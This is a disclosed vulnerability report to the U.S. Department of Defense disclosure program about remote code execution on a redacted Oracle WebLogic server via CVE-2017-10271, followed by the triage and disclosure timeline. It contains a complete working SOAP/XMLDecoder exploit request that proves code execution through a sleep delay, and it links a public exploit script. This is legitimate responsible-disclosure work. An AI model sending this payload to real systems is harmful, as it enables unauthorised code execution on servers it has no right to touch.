

61

RCE on [REDACTED] via CVE-2017-10271

Share:     State  Resolved (Closed)Disclosed **July 2, 2019 1:24am +0530**Reported To [U.S. Dept Of Defense](#)

Weakness Code Injection

Severity  Critical (9 ~ 10)Participants   

Visibility Disclosed (Full)

[Collapse](#)

TIMELINE · EXPORT

[erbbysam](#) submitted a report to [U.S. Dept Of Defense](#).

May 11th (5 months ago)

Summary:

Happy Friday! The server at [REDACTED] is vulnerable to CVE-2017-10271 "Oracle WebLogic Server Remote Command Execution".


Description:

The following request takes 12 seconds (12000 milliseconds) to complete:

```
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: [REDACTED]
Content-Length: 423
content-type: text/xml
Accept-Encoding: gzip, deflate, compress
Accept: */*

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java class="java.beans.XMLDecoder">
        <object class="java.lang.Thread" method="sleep">
          <long>12000</long>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
```

This proves that I have Java code execution on the remote server.

ref: <https://techblog.mediaservice.net/2018/07/cve-2017-10271-oracle-weblogic-server-remote-command-execution-sleep-detection-payload/> Public exploits for this exist: <https://github.com/c0mmand3rOpSec/CVE-2017-10271> I was not able to use that script with a `ping` command, which might have been blocked by preventing outbound connections.**Suggested Mitigation/Remediation Actions**

Patch & possibly don't allow external access.

Impact

Critical, RCE.



BOT: [U.S. Dept Of Defense](#) posted a comment.
Greetings from the Department of Defense (DoD),

May 11th (5 months ago)

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at [@DeptofDefense](#).

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team



[ag3nt-z3](#) updated the severity to Critical.

May 14th (5 months ago)



[ag3nt-z3](#) changed the status to ○ **Triaged**.
Greetings,

May 14th (5 months ago)

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team



[ag3nt-z3](#) closed the report and changed the status to ○ **Resolved**.
Good news!

Jun 5th (4 months ago)

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team



[erbbysam](#) requested to disclose this report.

Jun 28th (3 months ago)

At an upcoming talk I would like to use this vulnerability as an example. Let me know if I should also send an email to VDP-Questions@dc3.mil

Upcoming talk: <https://www.wallofsheep.com/blogs/news/packet-hacking-village-talks-and-schedule-at-def-con-27-finalized#serb> ➔


Thanks,
Sam



[ag3nt-j1](#) posted a comment.

Jun 28th (3 months ago)

I'll work on getting this through the disclosure process on Monday so you will have this in time for the presentation.

-  [ag3nt-j1](#) agreed to disclose this report.

Jul 2nd (3 months ago)
-  This report has been disclosed.

Jul 2nd (3 months ago)